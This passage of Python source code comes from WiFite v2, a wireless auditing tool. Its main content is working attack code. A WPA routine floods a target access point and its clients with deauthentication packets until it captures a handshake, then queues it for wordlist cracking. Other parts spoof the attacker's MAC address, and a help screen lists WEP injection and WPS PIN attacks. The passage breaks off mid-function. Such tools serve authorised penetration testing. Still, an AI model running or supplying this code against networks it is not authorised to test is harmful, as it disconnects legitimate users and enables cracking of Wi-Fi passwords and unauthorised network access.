Analyzes given capfile for handshakes using various programs.
1514
Prints results to console.
1515
"""
1516
# we're not running an attack
1517
wpa_attack = WPAAttack(None, None, None, None)
1518
1519
if self.RUN_CONFIG.TARGET_ESSID == '' and self.RUN_CONFIG.TARGET_BSSID == '':
1520
print R + ' [!]' + O + ' target ssid and bssid are required to check for handshakes'
1521
print R + ' [!]' + O + ' please enter essid (access point name) using -e <name>'
1522
print R + ' [!]' + O + ' and/or target bssid (mac address) using -b <mac>\n'
1523
# exit_gracefully(1)
1524
1525
if self.RUN_CONFIG.TARGET_BSSID == '':
1526
# Get the first BSSID found in tshark!
1527
self.RUN_CONFIG.TARGET_BSSID = get_bssid_from_cap(self.RUN_CONFIG.TARGET_ESSID, capfile)
1528
# if TARGET_BSSID.find('->') != -1: TARGET_BSSID == ''
1529
if self.RUN_CONFIG.TARGET_BSSID == '':
1530
print R + ' [!]' + O + ' unable to guess BSSID from ESSID!'
1531
else:
1532
print GR + ' [+]' + W + ' guessed bssid: %s' % (G + self.RUN_CONFIG.TARGET_BSSID + W)
1533
1534
if self.RUN_CONFIG.TARGET_BSSID != '' and self.RUN_CONFIG.TARGET_ESSID == '':
1535
self.RUN_CONFIG.TARGET_ESSID = get_essid_from_cap(self.RUN_CONFIG.TARGET_BSSID, capfile)
1536
1537
print GR + '\n [+]' + W + ' checking for handshakes in %s' % (G + capfile + W)
1538
1539
t = Target(self.RUN_CONFIG.TARGET_BSSID, '', '', '', 'WPA', self.RUN_CONFIG.TARGET_ESSID)
1540
1541
if program_exists('pyrit'):
1542
result = wpa_attack.has_handshake_pyrit(t, capfile)
1543
print GR + ' [+]' + W + ' ' + G + 'pyrit' + W + ':\t\t\t %s' % (
1544
G + 'found!' + W if result else O + 'not found' + W)
1545
else:
1546
print R + ' [!]' + O + ' program not found: pyrit'
1547
if program_exists('cowpatty'):
1548
result = wpa_attack.has_handshake_cowpatty(t, capfile, nonstrict=True)
1549
print GR + ' [+]' + W + ' ' + G + 'cowpatty' + W + ' (nonstrict):\t %s' % (
1550
G + 'found!' + W if result else O + 'not found' + W)
1551
result = wpa_attack.has_handshake_cowpatty(t, capfile, nonstrict=False)
1552
print GR + ' [+]' + W + ' ' + G + 'cowpatty' + W + ' (strict):\t %s' % (
1553
G + 'found!' + W if result else O + 'not found' + W)
1554
else:
1555
print R + ' [!]' + O + ' program not found: cowpatty'
1556
if program_exists('tshark'):
1557
result = wpa_attack.has_handshake_tshark(t, capfile)
1558
print GR + ' [+]' + W + ' ' + G + 'tshark' + W + ':\t\t\t %s' % (
1559
G + 'found!' + W if result else O + 'not found' + W)
1560
else:
1561
print R + ' [!]' + O + ' program not found: tshark'
1562
if program_exists('aircrack-ng'):
1563
result = wpa_attack.has_handshake_aircrack(t, capfile)
1564
print GR + ' [+]' + W + ' ' + G + 'aircrack-ng' + W + ':\t\t %s' % (
1565
G + 'found!' + W if result else O + 'not found' + W)
1566
else:
1567
print R + ' [!]' + O + ' program not found: aircrack-ng'
1568
1569
print ''
1570
1571
self.RUN_CONFIG.exit_gracefully(0)
1572
1573
1574
##################
1575
# MAIN FUNCTIONS #
1576
##################
1577
1578
##############################################################
1579
### End Classes
1580
1581
def rename(old, new):
1582
"""
1583
Renames file 'old' to 'new', works with separate partitions.
1584
Thanks to hannan.sadar
1585
"""
1586
try:
1587
os.rename(old, new)
1588
except os.error, detail:
1589
if detail.errno == errno.EXDEV:
1590
try:
1591
copy(old, new)
1592
except:
1593
os.unlink(new)
1594
raise
1595
os.unlink(old)
1596
# if desired, deal with other errors
1597
else:
1598
raise
1599
1600
1601
def banner(RUN_CONFIG):
1602
"""
1603
Displays ASCII art of the highest caliber.
1604
"""
1605
print ''
1606
print G + " .;' `;, "
1607
print G + " .;' ,;' `;, `;, " + W + "WiFite v2.0 (r" + str(RUN_CONFIG.REVISION) + ")"
1608
print G + ".;' ,;' ,;' `;, `;, `;, "
1609
print G + ":: :: : " + GR + "( )" + G + " : :: :: " + GR + "automated wireless auditor"
1610
print G + "':. ':. ':. " + GR + "/_\\" + G + " ,:' ,:' ,:' "
1611
print G + " ':. ':. " + GR + "/___\\" + G + " ,:' ,:' " + G + "try the new version:"
1612
print G + " ':. " + GR + "/_____\\" + G + " ,:' " + C + "https://github.com/derv82/wifite2"
1613
print G + " " + GR + "/ \\" + G + " "
1614
print W
1615
1616
1617
def help():
1618
"""
1619
Prints help screen
1620
"""
1621
1622
head = W
1623
sw = G
1624
var = GR
1625
des = W
1626
de = G
1627
1628
print head + ' COMMANDS' + W
1629
print sw + '\t-check ' + var + '<file>\t' + des + 'check capfile ' + var + '<file>' + des + ' for handshakes.' + W
1630
print sw + '\t-cracked \t' + des + 'display previously-cracked access points' + W
1631
print sw + '\t-recrack \t' + des + 'allow recracking of previously cracked access points' + W
1632
print ''
1633
1634
print head + ' GLOBAL' + W
1635
print sw + '\t-all \t' + des + 'attack all targets. ' + de + '[off]' + W
1636
#print sw+'\t-pillage \t'+des+'attack all targets in a looping fashion.'+de+'[off]'+W
1637
print sw + '\t-i ' + var + '<iface> \t' + des + 'wireless interface for capturing ' + de + '[auto]' + W
1638
print sw + '\t-mon-iface ' + var + '<monitor_interface> \t' + des + 'interface in monitor mode for capturing ' + de + '[auto]' + W
1639
print sw + '\t-mac \t' + des + 'anonymize mac address ' + de + '[off]' + W
1640
print sw + '\t-c ' + var + '<channel>\t' + des + 'channel to scan for targets ' + de + '[auto]' + W
1641
print sw + '\t-e ' + var + '<essid> \t' + des + 'target a specific access point by ssid (name) ' + de + '[ask]' + W
1642
print sw + '\t-b ' + var + '<bssid> \t' + des + 'target a specific access point by bssid (mac) ' + de + '[auto]' + W
1643
print sw + '\t-showb \t' + des + 'display target BSSIDs after scan ' + de + '[off]' + W
1644
print sw + '\t-pow ' + var + '<db> \t' + des + 'attacks any targets with signal strenghth > ' + var + 'db ' + de + '[0]' + W
1645
print sw + '\t-quiet \t' + des + 'do not print list of APs during scan ' + de + '[off]' + W
1646
print ''
1647
1648
print head + '\n WPA' + W
1649
print sw + '\t-wpa \t' + des + 'only target WPA networks (works with -wps -wep) ' + de + '[off]' + W
1650
print sw + '\t-wpat ' + var + '<sec> \t' + des + 'time to wait for WPA attack to complete (seconds) ' + de + '[500]' + W
1651
print sw + '\t-wpadt ' + var + '<sec> \t' + des + 'time to wait between sending deauth packets (sec) ' + de + '[10]' + W
1652
print sw + '\t-strip \t' + des + 'strip handshake using tshark or pyrit ' + de + '[off]' + W
1653
print sw + '\t-crack ' + var + '<dic>\t' + des + 'crack WPA handshakes using ' + var + '<dic>' + des + ' wordlist file ' + de + '[off]' + W
1654
print sw + '\t-dict ' + var + '<file>\t' + des + 'specify dictionary to use when cracking WPA ' + de + '[phpbb.txt]' + W
1655
print sw + '\t-aircrack \t' + des + 'verify handshake using aircrack ' + de + '[on]' + W
1656
print sw + '\t-pyrit \t' + des + 'verify handshake using pyrit ' + de + '[off]' + W
1657
print sw + '\t-tshark \t' + des + 'verify handshake using tshark ' + de + '[on]' + W
1658
print sw + '\t-cowpatty \t' + des + 'verify handshake using cowpatty ' + de + '[off]' + W
1659
1660
print head + '\n WEP' + W
1661
print sw + '\t-wep \t' + des + 'only target WEP networks ' + de + '[off]' + W
1662
print sw + '\t-pps ' + var + '<num> \t' + des + 'set the number of packets per second to inject ' + de + '[600]' + W
1663
print sw + '\t-wept ' + var + '<sec> \t' + des + 'sec to wait for each attack, 0 implies endless ' + de + '[600]' + W
1664
print sw + '\t-chopchop \t' + des + 'use chopchop attack ' + de + '[on]' + W
1665
print sw + '\t-arpreplay \t' + des + 'use arpreplay attack ' + de + '[on]' + W
1666
print sw + '\t-fragment \t' + des + 'use fragmentation attack ' + de + '[on]' + W
1667
print sw + '\t-caffelatte \t' + des + 'use caffe-latte attack ' + de + '[on]' + W
1668
print sw + '\t-p0841 \t' + des + 'use -p0841 attack ' + de + '[on]' + W
1669
print sw + '\t-hirte \t' + des + 'use hirte (cfrag) attack ' + de + '[on]' + W
1670
print sw + '\t-nofakeauth \t' + des + 'stop attack if fake authentication fails ' + de + '[off]' + W
1671
print sw + '\t-wepca ' + GR + '<n> \t' + des + 'start cracking when number of ivs surpass n ' + de + '[10000]' + W
1672
print sw + '\t-wepsave \t' + des + 'save a copy of .cap files to this directory ' + de + '[off]' + W
1673
1674
print head + '\n WPS' + W
1675
print sw + '\t-wps \t' + des + 'only target WPS networks ' + de + '[off]' + W
1676
print sw + '\t-wpst ' + var + '<sec> \t' + des + 'max wait for new retry before giving up (0: never) ' + de + '[660]' + W
1677
print sw + '\t-wpsratio ' + var + '<per>\t' + des + 'min ratio of successful PIN attempts/total tries ' + de + '[0]' + W
1678
print sw + '\t-wpsretry ' + var + '<num>\t' + des + 'max number of retries for same PIN before giving up ' + de + '[0]' + W
1679
1680
print head + '\n EXAMPLE' + W
1681
print sw + '\t./wifite.py ' + W + '-wps -wep -c 6 -pps 600' + W
1682
print ''
1683
1684
1685
###########################
1686
# WIRELESS CARD FUNCTIONS #
1687
###########################
1688
1689
1690
1691
1692
######################
1693
# SCANNING FUNCTIONS #
1694
######################
1695
1696
1697
1698
1699
1700
def wps_check_targets(targets, cap_file, verbose=True):
1701
"""
1702
Uses tshark to check access points in cap_file for WPS functionality.
1703
Sets "wps" field of targets that match to True.
1704
"""
1705
global RUN_CONFIG
1706
1707
if not program_exists('tshark'):
1708
RUN_CONFIG.WPS_DISABLE = True # Tell 'scan' we were unable to execute tshark
1709
return
1710
1711
if len(targets) == 0 or not os.path.exists(cap_file): return
1712
1713
if verbose:
1714
print GR + ' [+]' + W + ' checking for ' + G + 'WPS compatibility' + W + '...',
1715
stdout.flush()
1716
1717
cmd = [
1718
'tshark',
1719
'-r', cap_file, # Path to cap file
1720
'-n', # Don't resolve addresses
1721
# Filter WPS broadcast packets
1722
'-Y', 'wps.wifi_protected_setup_state && wlan.da == ff:ff:ff:ff:ff:ff',
1723
'-T', 'fields', # Only output certain fields
1724
'-e', 'wlan.ta', # BSSID
1725
'-e', 'wps.ap_setup_locked', # Locked status
1726
'-E', 'separator=,' # CSV
1727
]
1728
proc_tshark = Popen(cmd, stdout=PIPE, stderr=DN)
1729
proc_tshark.wait()
1730
tshark_stdout, _ = proc_tshark.communicate()
1731
bssid_regex = re.compile("([A-F0-9\:]{17})", re.IGNORECASE)
1732
bssids = [bssid.upper() for bssid in bssid_regex.findall(tshark_stdout)]
1733
for t in targets:
1734
if t.bssid.upper() in bssids:
1735
t.wps = True
1736
t.wps = t.bssid.upper() in bssids
1737
if verbose:
1738
print 'done'
1739
removed = 0
1740
if not RUN_CONFIG.WPS_DISABLE and RUN_CONFIG.WPA_DISABLE:
1741
i = 0
1742
while i < len(targets):
1743
if not targets[i].wps and targets[i].encryption.find('WPA') != -1:
1744
removed += 1
1745
targets.pop(i)
1746
else:
1747
i += 1
1748
if removed > 0 and verbose: print GR + ' [+]' + O + ' removed %d non-WPS-enabled targets%s' % (removed, W)
1749
1750
1751
def print_and_exec(cmd):
1752
"""
1753
Prints and executes command "cmd". Also waits half a second
1754
Used by rtl8187_fix (for prettiness)
1755
"""
1756
print '\r \r',
1757
stdout.flush()
1758
print O + ' [!] ' + W + 'executing: ' + O + ' '.join(cmd) + W,
1759
stdout.flush()
1760
call(cmd, stdout=DN, stderr=DN)
1761
time.sleep(0.1)
1762
1763
1764
####################
1765
# HELPER FUNCTIONS #
1766
####################
1767
1768
def remove_airodump_files(prefix):
1769
"""
1770
Removes airodump output files for whatever file prefix ('wpa', 'wep', etc)
1771
Used by wpa_get_handshake() and attack_wep()
1772
"""
1773
global RUN_CONFIG
1774
remove_file(prefix + '-01.cap')
1775
remove_file(prefix + '-01.csv')
1776
remove_file(prefix + '-01.kismet.csv')
1777
remove_file(prefix + '-01.kismet.netxml')
1778
for filename in os.listdir(RUN_CONFIG.temp):
1779
if filename.lower().endswith('.xor'): remove_file(RUN_CONFIG.temp + filename)
1780
for filename in os.listdir('.'):
1781
if filename.startswith('replay_') and filename.endswith('.cap'):
1782
remove_file(filename)
1783
if filename.endswith('.xor'): remove_file(filename)
1784
# Remove .cap's from previous attack sessions
1785
"""i = 2
1786
while os.path.exists(temp + 'wep-' + str(i) + '.cap'):
1787
os.remove(temp + 'wep-' + str(i) + '.cap')
1788
i += 1
1789
"""
1790
1791
1792
def remove_file(filename):
1793
"""
1794
Attempts to remove a file. Does not throw error if file is not found.
1795
"""
1796
try:
1797
os.remove(filename)
1798
except OSError:
1799
pass
1800
1801
1802
def program_exists(program):
1803
"""
1804
Uses 'which' (linux command) to check if a program is installed.
1805
"""
1806
1807
proc = Popen(['which', program], stdout=PIPE, stderr=PIPE)
1808
txt = proc.communicate()
1809
if txt[0].strip() == '' and txt[1].strip() == '':
1810
return False
1811
if txt[0].strip() != '' and txt[1].strip() == '':
1812
return True
1813
1814
return not (txt[1].strip() == '' or txt[1].find('no %s in' % program) != -1)
1815
1816
1817
def sec_to_hms(sec):
1818
"""
1819
Converts integer sec to h:mm:ss format
1820
"""
1821
if sec <= -1: return '[endless]'
1822
h = sec / 3600
1823
sec %= 3600
1824
m = sec / 60
1825
sec %= 60
1826
return '[%d:%02d:%02d]' % (h, m, sec)
1827
1828
1829
def send_interrupt(process):
1830
"""
1831
Sends interrupt signal to process's PID.
1832
"""
1833
try:
1834
os.kill(process.pid, SIGINT)
1835
# os.kill(process.pid, SIGTERM)
1836
except OSError:
1837
pass # process cannot be killed
1838
except TypeError:
1839
pass # pid is incorrect type
1840
except UnboundLocalError:
1841
pass # 'process' is not defined
1842
except AttributeError:
1843
pass # Trying to kill "None"
1844
1845
1846
def get_mac_address(iface):
1847
"""
1848
Returns MAC address of "iface".
1849
"""
1850
proc = Popen(['ifconfig', iface], stdout=PIPE, stderr=DN)
1851
proc.wait()
1852
mac = ''
1853
output = proc.communicate()[0]
1854
mac_regex = ('[a-zA-Z0-9]{2}-' * 6)[:-1]
1855
match = re.search(' (%s)' % mac_regex, output)
1856
if match:
1857
mac = match.groups()[0].replace('-', ':')
1858
return mac
1859
1860
1861
def generate_random_mac(old_mac):
1862
"""
1863
Generates a random MAC address.
1864
Keeps the same vender (first 6 chars) of the old MAC address (old_mac).
1865
Returns string in format old_mac[0:9] + :XX:XX:XX where X is random hex
1866
"""
1867
random.seed()
1868
new_mac = old_mac[:8].lower().replace('-', ':')
1869
for i in xrange(0, 6):
1870
if i % 2 == 0: new_mac += ':'
1871
new_mac += '0123456789abcdef'[random.randint(0, 15)]
1872
1873
# Prevent generating the same MAC address via recursion.
1874
if new_mac == old_mac:
1875
new_mac = generate_random_mac(old_mac)
1876
return new_mac
1877
1878
1879
def mac_anonymize(iface):
1880
"""
1881
Changes MAC address of 'iface' to a random MAC.
1882
Only randomizes the last 6 digits of the MAC, so the vender says the same.
1883
Stores old MAC address and the interface in ORIGINAL_IFACE_MAC
1884
"""
1885
global RUN_CONFIG
1886
if RUN_CONFIG.DO_NOT_CHANGE_MAC: return
1887
if not program_exists('ifconfig'): return
1888
1889
# Store old (current) MAC address
1890
proc = Popen(['ifconfig', iface], stdout=PIPE, stderr=DN)
1891
proc.wait()
1892
for word in proc.communicate()[0].split('\n')[0].split(' '):
1893
if word != '': old_mac = word
1894
RUN_CONFIG.ORIGINAL_IFACE_MAC = (iface, old_mac)
1895
1896
new_mac = generate_random_mac(old_mac)
1897
1898
call(['ifconfig', iface, 'down'])
1899
1900
print GR + " [+]" + W + " changing %s's MAC from %s to %s..." % (G + iface + W, G + old_mac + W, O + new_mac + W),
1901
stdout.flush()
1902
1903
proc = Popen(['ifconfig', iface, 'hw', 'ether', new_mac], stdout=PIPE, stderr=DN)
1904
proc.wait()
1905
call(['ifconfig', iface, 'up'], stdout=DN, stderr=DN)
1906
print 'done'
1907
1908
1909
def mac_change_back():
1910
"""
1911
Changes MAC address back to what it was before attacks began.
1912
"""
1913
global RUN_CONFIG
1914
iface = RUN_CONFIG.ORIGINAL_IFACE_MAC[0]
1915
old_mac = RUN_CONFIG.ORIGINAL_IFACE_MAC[1]
1916
if iface == '' or old_mac == '': return
1917
1918
print GR + " [+]" + W + " changing %s's mac back to %s..." % (G + iface + W, G + old_mac + W),
1919
stdout.flush()
1920
1921
call(['ifconfig', iface, 'down'], stdout=DN, stderr=DN)
1922
proc = Popen(['ifconfig', iface, 'hw', 'ether', old_mac], stdout=PIPE, stderr=DN)
1923
proc.wait()
1924
call(['ifconfig', iface, 'up'], stdout=DN, stderr=DN)
1925
print "done"
1926
1927
1928
def get_essid_from_cap(bssid, capfile):
1929
"""
1930
Attempts to get ESSID from cap file using BSSID as reference.
1931
Returns '' if not found.
1932
"""
1933
if not program_exists('tshark'): return ''
1934
1935
cmd = ['tshark',
1936
'-r', capfile,
1937
'-R', 'wlan.fc.type_subtype == 0x05 && wlan.sa == %s' % bssid,
1938
'-2', # -R is deprecated and requires -2
1939
'-n']
1940
proc = Popen(cmd, stdout=PIPE, stderr=DN)
1941
proc.wait()
1942
for line in proc.communicate()[0].split('\n'):
1943
if line.find('SSID=') != -1:
1944
essid = line[line.find('SSID=') + 5:]
1945
print GR + ' [+]' + W + ' guessed essid: %s' % (G + essid + W)
1946
return essid
1947
print R + ' [!]' + O + ' unable to guess essid!' + W
1948
return ''
1949
1950
1951
def get_bssid_from_cap(essid, capfile):
1952
"""
1953
Returns first BSSID of access point found in cap file.
1954
This is not accurate at all, but it's a good guess.
1955
Returns '' if not found.
1956
"""
1957
global RUN_CONFIG
1958
1959
if not program_exists('tshark'): return ''
1960
1961
# Attempt to get BSSID based on ESSID
1962
if essid != '':
1963
cmd = ['tshark',
1964
'-r', capfile,
1965
'-R', 'wlan_mgt.ssid == "%s" && wlan.fc.type_subtype == 0x05' % (essid),
1966
'-2', # -R is deprecated and requires -2
1967
'-n', # Do not resolve MAC vendor names
1968
'-T', 'fields', # Only display certain fields
1969
'-e', 'wlan.sa'] # souce MAC address
1970
proc = Popen(cmd, stdout=PIPE, stderr=DN)
1971
proc.wait()
1972
bssid = proc.communicate()[0].split('\n')[0]
1973
if bssid != '': return bssid
1974
1975
cmd = ['tshark',
1976
'-r', capfile,
1977
'-R', 'eapol',
1978
'-2', # -R is deprecated and requires -2
1979
'-n']
1980
proc = Popen(cmd, stdout=PIPE, stderr=DN)
1981
proc.wait()
1982
for line in proc.communicate()[0].split('\n'):
1983
if line.endswith('Key (msg 1/4)') or line.endswith('Key (msg 3/4)'):
1984
while line.startswith(' ') or line.startswith('\t'): line = line[1:]
1985
line = line.replace('\t', ' ')
1986
while line.find(' ') != -1: line = line.replace(' ', ' ')
1987
return line.split(' ')[2]
1988
elif line.endswith('Key (msg 2/4)') or line.endswith('Key (msg 4/4)'):
1989
while line.startswith(' ') or line.startswith('\t'): line = line[1:]
1990
line = line.replace('\t', ' ')
1991
while line.find(' ') != -1: line = line.replace(' ', ' ')
1992
return line.split(' ')[4]
1993
return ''
1994
1995
1996
def attack_interrupted_prompt():
1997
"""
1998
Promps user to decide if they want to exit,
1999
skip to cracking WPA handshakes,
2000
or continue attacking the remaining targets (if applicable).
2001
returns True if user chose to exit complete, False otherwise
2002
"""
2003
global RUN_CONFIG
2004
should_we_exit = False
2005
# If there are more targets to attack, ask what to do next
2006
if RUN_CONFIG.TARGETS_REMAINING > 0:
2007
options = ''
2008
print GR + "\n [+] %s%d%s target%s remain%s" % (G, RUN_CONFIG.TARGETS_REMAINING, W,
2009
'' if RUN_CONFIG.TARGETS_REMAINING == 1 else 's',
2010
's' if RUN_CONFIG.TARGETS_REMAINING == 1 else '')
2011
print GR + " [+]" + W + " what do you want to do?"
2012
options += G + 'c' + W
2013
print G + " [c]ontinue" + W + " attacking targets"
2014
2015
if len(RUN_CONFIG.WPA_CAPS_TO_CRACK) > 0:
2016
options += W + ', ' + O + 's' + W
2017
print O + " [s]kip" + W + " to cracking WPA cap files"
2018
options += W + ', or ' + R + 'e' + W
2019
print R + " [e]xit" + W + " completely"
2020
ri = ''
2021
while ri != 'c' and ri != 's' and ri != 'e':
2022
ri = raw_input(GR + ' [+]' + W + ' please make a selection (%s): ' % options)
2023
2024
if ri == 's':
2025
RUN_CONFIG.TARGETS_REMAINING = -1 # Tells start() to ignore other targets, skip to cracking
2026
elif ri == 'e':
2027
should_we_exit = True
2028
return should_we_exit
2029
2030
2031
#
2032
# Abstract base class for attacks.
2033
# Attacks are required to implement the following methods:
2034
# RunAttack - Initializes the attack
2035
# EndAttack - Cleanly ends the attack
2036
#
2037
class Attack(object):
2038
__metaclass__ = abc.ABCMeta
2039
2040
@abc.abstractmethod
2041
def RunAttack(self):
2042
raise NotImplementedError()
2043
2044
@abc.abstractmethod
2045
def EndAttack(self):
2046
raise NotImplementedError()
2047
2048
2049
#################
2050
# WPA FUNCTIONS #
2051
#################
2052
class WPAAttack(Attack):
2053
def __init__(self, iface, target, clients, config):
2054
self.iface = iface
2055
self.clients = clients
2056
self.target = target
2057
self.RUN_CONFIG = config
2058
2059
def RunAttack(self):
2060
'''
2061
Abstract method for initializing the WPA attack
2062
'''
2063
self.wpa_get_handshake()
2064
2065
def EndAttack(self):
2066
'''
2067
Abstract method for ending the WPA attack
2068
'''
2069
pass
2070
2071
def wpa_get_handshake(self):
2072
"""
2073
Opens an airodump capture on the target, dumping to a file.
2074
During the capture, sends deauthentication packets to the target both as
2075
general deauthentication packets and specific packets aimed at connected clients.
2076
Waits until a handshake is captured.
2077
"iface" - interface to capture on
2078
"target" - Target object containing info on access point
2079
"clients" - List of Client objects associated with the target
2080
Returns True if handshake was found, False otherwise
2081
"""
2082
2083
if self.RUN_CONFIG.WPA_ATTACK_TIMEOUT <= 0: self.RUN_CONFIG.WPA_ATTACK_TIMEOUT = -1
2084
2085
# Generate the filename to save the .cap file as <SSID>_aa-bb-cc-dd-ee-ff.cap
2086
save_as = self.RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', self.target.ssid) \
2087
+ '_' + self.target.bssid.replace(':', '-') + '.cap'
2088
2089
# Check if we already have a handshake for this SSID... If we do, generate a new filename
2090
save_index = 0
2091
while os.path.exists(save_as):
2092
save_index += 1
2093
save_as = self.RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', self.target.ssid) \
2094
+ '_' + self.target.bssid.replace(':', '-') \
2095
+ '_' + str(save_index) + '.cap'
2096
2097
file_prefix = os.path.join(self.RUN_CONFIG.temp, 'wpa')
2098
cap_file = file_prefix + '-01.cap'
2099
csv_file = file_prefix + '-01.csv'
2100
2101
# Remove previous airodump output files (if needed)
2102
remove_airodump_files(file_prefix)
2103
2104
# Start of large Try-Except; used for catching keyboard interrupt (Ctrl+C)
2105
try:
2106
# Start airodump-ng process to capture handshakes
2107
cmd = ['airodump-ng',
2108
'-w', file_prefix,
2109
'-c', self.target.channel,
2110
'--write-interval', '1',
2111
'--bssid', self.target.bssid,
2112
self.iface]
2113
proc_read = Popen(cmd, stdout=DN, stderr=DN)
2114
2115
# Setting deauthentication process here to avoid errors later on
2116
proc_deauth = None
2117
2118
print ' %s starting %swpa handshake capture%s on "%s"' % \
2119
(GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT) + W, G, W, G + self.target.ssid + W)
2120
got_handshake = False
2121
2122
seconds_running = 0
2123
seconds_since_last_deauth = 0
2124
2125
target_clients = self.clients[:]
2126
client_index = -1
2127
start_time = time.time()
2128
# Deauth and check-for-handshake loop
2129
while not got_handshake and (
2130
self.RUN_CONFIG.WPA_ATTACK_TIMEOUT <= 0 or seconds_running < self.RUN_CONFIG.WPA_ATTACK_TIMEOUT):
2131
if proc_read.poll() != None:
2132
print ""
2133
print "airodump-ng exited with status " + str(proc_read.poll())
2134
print ""
2135
break
2136
time.sleep(1)
2137
seconds_since_last_deauth += int(time.time() - start_time - seconds_running)
2138
seconds_running = int(time.time() - start_time)
2139
2140
print " \r",
2141
print ' %s listening for handshake...\r' % \
2142
(GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running) + W),
2143
stdout.flush()
2144
2145
if seconds_since_last_deauth > self.RUN_CONFIG.WPA_DEAUTH_TIMEOUT:
2146
seconds_since_last_deauth = 0
2147
# Send deauth packets via aireplay-ng
2148
cmd = ['aireplay-ng',
2149
'--ignore-negative-one',
2150
'--deauth',
2151
str(self.RUN_CONFIG.WPA_DEAUTH_COUNT), # Number of packets to send
2152
'-a', self.target.bssid]
2153
2154
client_index += 1
2155
2156
if client_index == -1 or len(target_clients) == 0 or client_index >= len(target_clients):
2157
print " %s sending %s deauth to %s*broadcast*%s..." % \
2158
(GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running) + W,
2159
G + str(self.RUN_CONFIG.WPA_DEAUTH_COUNT) + W, G, W),
2160
client_index = -1
2161
else:
2162
print " %s sending %s deauth to %s... " % \
2163
(GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running) + W, \
2164
G + str(self.RUN_CONFIG.WPA_DEAUTH_COUNT) + W, \
2165
G + target_clients[client_index].bssid + W),
2166
cmd.append('-c')
2167
cmd.append(target_clients[client_index].bssid)
2168
cmd.append(self.iface)
2169
stdout.flush()
2170
2171
# Send deauth packets via aireplay, wait for them to complete.
2172
proc_deauth = Popen(cmd, stdout=DN, stderr=DN)
2173
proc_deauth.wait()
2174
print "sent\r",
2175
stdout.flush()
2176
2177
# Copy current dump file for consistency
2178
if not os.path.exists(cap_file): continue
2179
temp_cap_file = cap_file + '.temp'
2180
copy(cap_file, temp_cap_file)
2181
2182
# Save copy of cap file (for debugging)
2183
#remove_file('/root/new/wpa-01.cap')
2184
#copy(temp + 'wpa-01.cap', '/root/new/wpa-01.cap')
2185
2186
# Check for handshake
2187
if self.has_handshake(self.target, temp_cap_file):
2188
got_handshake = True
2189
2190
try:
2191
os.mkdir(self.RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep)
2192
except OSError:
2193
pass
2194
2195
# Kill the airodump and aireplay processes
2196
send_interrupt(proc_read)
2197
send_interrupt(proc_deauth)
2198
2199
# Save a copy of the handshake
2200
rename(temp_cap_file, save_as)
2201
2202
print '\n %s %shandshake captured%s! saved as "%s"' % (
2203
GR + sec_to_hms(seconds_running) + W, G, W, G + save_as + W)
2204
self.RUN_CONFIG.WPA_FINDINGS.append(
2205
'%s (%s) handshake captured' % (self.target.ssid, self.target.bssid))
2206
self.RUN_CONFIG.WPA_FINDINGS.append('saved as %s' % (save_as))
2207
self.RUN_CONFIG.WPA_FINDINGS.append('')
2208
2209
# Strip handshake if needed
2210
if self.RUN_CONFIG.WPA_STRIP_HANDSHAKE: self.strip_handshake(save_as)
2211
2212
# Add the filename and SSID to the list of 'to-crack'
2213
# Cracking will be handled after all attacks are finished.
2214
self.RUN_CONFIG.WPA_CAPS_TO_CRACK.append(CapFile(save_as, self.target.ssid, self.target.bssid))
2215
2216
break # Break out of while loop
2217
2218
# No handshake yet
2219
os.remove(temp_cap_file)
2220
2221
# Check the airodump output file for new clients
2222
for client in self.RUN_CONFIG.RUN_ENGINE.parse_csv(csv_file)[1]:
2223
if client.station != self.target.bssid: continue
2224
new_client = True
2225
for c in target_clients:
2226
if client.bssid == c.bssid:
2227
new_client = False
2228
break
2229
2230
if new_client:
2231
print " %s %snew client%s found: %s " % \
2232
(GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running) + W, G, W, \
2233
G + client.bssid + W)
2234
target_clients.append(client)
2235
2236
# End of Handshake wait loop.
2237
2238
if not got_handshake:
2239
print R + ' [0:00:00]' + O + ' unable to capture handshake in time' + W
2240
2241
except KeyboardInterrupt:
2242
print R + '\n (^C)' + O + ' WPA handshake capture interrupted' + W
2243
if attack_interrupted_prompt():
2244
remove_airodump_files(file_prefix)
2245
send_interrupt(proc_read)
2246
send_interrupt(proc_deauth)
2247
print ''
2248
self.RUN_CONFIG.exit_gracefully(0)
2249
2250
2251
# clean up
2252
remove_airodump_files(file_prefix)
2253
send_interrupt(proc_read)
2254
send_interrupt(proc_deauth)
2255
2256
return got_handshake
2257
2258
def has_handshake_tshark(self, target, capfile):
2259
"""
2260
Uses TShark to check for a handshake.
2261
Returns "True" if handshake is found, false otherwise.
2262
"""
2263
if program_exists('tshark'):
2264
# Call Tshark to return list of EAPOL packets in cap file.
2265
cmd = ['tshark',
2266
'-r', capfile, # Input file
2267
'-R', 'eapol', # Filter (only EAPOL packets)
2268
'-2', # -R is deprecated and requires -2
2269
'-n'] # Do not resolve names (MAC vendors)
2270
proc = Popen(cmd, stdout=PIPE, stderr=DN)
2271
proc.wait()
2272
lines = proc.communicate()[0].split('\n')
2273
2274
# Get list of all clients in cap file
2275
clients = []
2276
for line in lines:
2277
if line.find('appears to have been cut short') != -1 or line.find(
2278
'Running as user "root"') != -1 or line.strip() == '':
2279
continue
2280
2281
while line.startswith(' '): line = line[1:]
2282
while line.find(' ') != -1: line = line.replace(' ', ' ')
2283
2284
fields = line.split(' ')
2285
# ensure tshark dumped correct info
2286
if len(fields) < 5:
2287
continue
2288
2289
src = fields[2].lower()
2290
dst = fields[4].lower()
2291
2292
if src == target.bssid.lower() and clients.count(dst) == 0:
2293
clients.append(dst)
2294
elif dst == target.bssid.lower() and clients.count(src) == 0:
2295
clients.append(src)
2296
2297
# Check each client for a handshake
2298
for client in clients:
2299
msg_num = 1 # Index of message in 4-way handshake (starts at 1)
2300
2301
for line in lines:
2302
if line.find('appears to have been cut short') != -1: continue
2303
if line.find('Running as user "root"') != -1: continue
2304
if line.strip() == '': continue
2305
2306
# Sanitize tshark's output, separate into fields
2307
while line[0] == ' ': line = line[1:]
2308
